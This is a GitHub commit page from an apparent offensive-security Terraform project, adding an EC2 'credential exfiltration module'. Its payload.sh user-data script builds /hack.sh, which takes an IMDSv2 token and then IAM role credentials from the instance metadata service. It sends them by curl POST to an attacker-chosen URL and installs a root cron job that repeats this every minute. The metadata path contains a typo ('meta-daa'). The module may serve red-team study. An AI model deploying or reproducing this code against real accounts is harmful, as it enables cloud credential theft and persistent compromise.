Skip to content

Commit 49dbf2f

Browse files
committed
Create EC2 credential exfilration module
1 parent 36354b5 commit 49dbf2f

File tree

4 files changed

+74
-0
lines changed

4 files changed

+74
-0
lines changed

main.tf

Lines changed: 30 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,30 @@
1+
provider "aws" {
2+
region = "us-east-1"
3+
profile = "terraform"
4+
}
5+
6+
terraform {
7+
required_version = ">= 0.12"
8+
}
9+
10+
resource "aws_instance" "this" {
11+
ami = "ami-06b263d6ceff0b3dd"
12+
instance_type = "t2.micro"
13+
subnet_id = var.subnet_id
14+
iam_instance_profile = var.iam_instance_profile
15+
user_data = data.template_file.user_data.rendered
16+
associate_public_ip_address = true
17+
18+
tags = {
19+
CreatedBy = "Offensive Terraform"
20+
}
21+
}
22+
23+
data "template_file" "user_data" {
24+
template = file("payload.sh")
25+
26+
vars = {
27+
url = var.url
28+
iam_role = var.iam_role
29+
}
30+
}

outputs.tf

Lines changed: 15 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,15 @@
1+
output "aws_instance_id" {
2+
value = aws_instance.this.*.id
3+
}
4+
5+
output "aws_instance_public_ip" {
6+
value = aws_instance.this.*.public_ip
7+
}
8+
9+
output "aws_instance_private_ip" {
10+
value = aws_instance.this.*.private_ip
11+
}
12+
13+
output "aws_instance_user_data" {
14+
value = aws_instance.this.*.user_data
15+
}

payload.sh

Lines changed: 10 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,10 @@
1+
#! /bin/bash
2+
sudo apt-get update
3+
sudo apt-get install -y curl
4+
5+
echo '#! /bin/bash' >> /hack.sh
6+
echo 'TOKEN=`curl -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600"`' >> /hack.sh
7+
echo 'curl -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-daa/iam/security-credentials/${iam_role} > data.json' >> /hack.sh
8+
echo 'curl -X POST -d @data.json ${url}' >> /hack.sh
9+
10+
echo '* * * * * root bash /hack.sh' >> /etc/crontab && echo "" >> /etc/crontab

variables.tf

Lines changed: 19 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,19 @@
1+
variable "subnet_id" {
2+
type = string
3+
description = ""
4+
}
5+
6+
variable "url" {
7+
type = string
8+
description = ""
9+
}
10+
11+
variable "iam_instance_profile" {
12+
type = string
13+
description = ""
14+
}
15+
16+
variable "iam_role" {
17+
type = string
18+
description = ""
19+
}

0 commit comments

Comments
 (0)